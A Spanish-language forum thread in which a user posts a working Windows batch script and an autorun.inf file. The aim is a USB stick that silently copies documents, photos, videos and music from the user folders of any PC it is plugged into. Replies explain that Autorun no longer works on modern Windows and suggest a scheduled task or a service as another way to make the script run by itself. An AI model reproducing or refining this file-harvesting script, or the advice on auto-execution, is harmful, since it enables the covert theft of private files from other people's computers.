Error al hacer USB autoejecutable con Autorun

Iniciado por Drakaris, 23 Julio 2018, 19:15 PM

0 Miembros y 1 Visitante están viendo este tema.

Drakaris

Lo estoy intentando hacer un USB autoejecutable que solamente al conectar el USB me copie los de la PC a la que esta conectada, para eso hice el programa bat:


@echo off
IF EXIST ".\cosas\"%USERNAME% MD ".\berta\"%USERNAME%
cd ".\berta\
for /R %USERPROFILE%\Pictures\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Desktop\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Videos\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Documents\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
for /R %USERPROFILE%\Music\ %%x in (*.pdf,*.odt,*.docx,*.doc,*.xlsx,*.xls,*.pptx,*.xml,*.mht,*.ods,*.odp,*.odb,*.odg,*.bmp,*.gif,*.jpg,*.jpeg,*.tiff,*.tif,*.png,*.svg,*.psd,*.asf,*.avi,*.mp4,*.m4v,*.mov,*.swf,*.wmv,*.mpg,*.mpeg,*.wav,*.wma,*.mkv,) do copy "%%x" ".\"
pause
EXIT


El archivo funciona, pero necessito que se ejecute automáticamente, para ello hice el archivo autorun.inf:

[Autorun]
open = guardar.bat


Quito el USB y lo vuelvo a poner y en teoría me tendría que salir el programa bat ejecutándose pero no hace eso, y no se cual es el problema, ya que en YouTube cuando lo veo, parece funcionar.

Gracias

P.D: Lo probé conviertiendo el .bat en .exe y tampoco funciona.
Lo increible, no es lo que ves, sino como es

bettu

Hola,

¿Bajo que SO lo estás intentando ejecutar?

Porque si es de Windows Vista hacia arriba estás perdiendo el tiempo... Eso era una vulnerabilidad muy grande de Windows XP y que luego corrigieron con sistemas operativos más modernos.


Saludos,

simorg

Hola, como te comenta el compañero, en los SO actuales el "Autorun" está desabilitado, no pierdas el tiempo.




Saludos.

Drakaris

Ok gracias, mi sistema operativo es Windows 10 pro, se puede hacer de otra forma? El autoejecutable. O con algún tipo de lenguaje de programacion.
Lo increible, no es lo que ves, sino como es

bettu

Hola,

Pues se me ocurre que puedes programar una 'tarea programada' para que ejecute ese .bat o crear un servicio. Hay mucha info al respecto.


Saludos,

Drakaris

Cita de: bettu en 23 Julio 2018, 20:17 PM
Hola,

Pues se me ocurre que puedes programar una 'tarea programada' para que ejecute ese .bat o crear un servicio. Hay mucha info al respecto.


Saludos,

Con que lenguaje podría hacerlo? Con python se puede hacer un USB autoarrancable?
Lo increible, no es lo que ves, sino como es